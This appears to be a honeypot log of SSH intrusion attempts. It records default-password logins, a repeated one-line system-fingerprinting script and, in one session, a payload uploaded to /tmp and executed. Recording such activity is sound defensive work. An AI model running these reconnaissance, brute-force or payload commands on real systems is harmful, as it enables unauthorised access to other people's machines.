$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 cowboy_root_5 (198.199.90.152) β€” North Bergen, United States Β· 8 sessions Β· 32 cmds
2026-03-01 12:10 EST Β· as admin/admin, admin/password, root/1234
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 cowboy_root_2 (161.35.4.186) β€” North Bergen, United States Β· 13 sessions Β· 52 cmds
2026-03-01 12:07 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 13x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—13
$ uname -s -v -n -m 2 > /dev/null Γ—13
$ uname -m 2 > /dev/null Γ—13
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—13
🎭 monsoon_root_13 (139.59.11.187) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-01 12:33 EST Β· as pi/raspberry, ubuntu/ubuntu
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 monsoon_root_14 (143.244.136.134) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-01 12:39 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 yankee_root_10 (24.199.98.162) β€” Santa Clara, United States Β· 6 sessions Β· 24 cmds
2026-03-01 12:11 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 liberty_root_8 (162.243.56.62) β€” Secaucus, United States Β· 8 sessions Β· 32 cmds
2026-03-01 12:13 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 cowboy_root_18 (107.170.64.85) β€” Secaucus, United States Β· 7 sessions Β· 28 cmds
2026-03-01 12:05 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 chai_root_14 (139.59.46.93) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-01 12:07 EST Β· as root/12345678, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 yankee_root_22 (64.23.157.241) β€” Santa Clara, United States Β· 2 sessions Β· 8 cmds
2026-03-01 12:09 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 tea_root_16 (161.35.175.43) β€” Slough, United Kingdom Β· 6 sessions Β· 24 cmds
2026-03-01 12:02 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 beefeater_root_2 (159.65.18.206) β€” Slough, United Kingdom Β· 7 sessions Β· 28 cmds
2026-03-01 10:47 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 monsoon_root_15 (159.89.166.56) β€” Bengaluru, India Β· 12 sessions Β· 48 cmds
2026-03-01 10:44 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 monsoon_root_16 (143.110.242.42) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-01 10:46 EST Β· as root/1234
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 liberty_root_23 (52.159.247.66) β€” San Francisco, United States Β· 2 sessions Β· 2 cmds
2026-03-01 10:00 EST Β· as root/1234, root/12345678
mount β†’ hostname discovery
$ mount | head -5
$ hostname
↳ hostname discovery
🎭 crumpet_root_4 (161.35.37.236) β€” Slough, United Kingdom Β· 10 sessions Β· 40 cmds
2026-03-01 08:31 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 baguette_pi (82.67.89.16) β€” Rouen, France Β· 2 sessions Β· 3 cmds
2026-03-01 09:34 EST Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x UFmeigKo && bash -c ./UFmeigKo
↳ make executable
$ ./UFmeigKo
↳ execute payload
$ scp -t /tmp/UFmeigKo
↳ execute from /tmp
🎭 windmill_root (64.227.71.86) β€” Amsterdam, Netherlands Β· 8 sessions Β· 32 cmds
2026-03-01 08:25 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 windmill_root_10 (164.90.200.82) β€” Amsterdam, Netherlands Β· 9 sessions Β· 36 cmds
2026-03-01 08:25 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
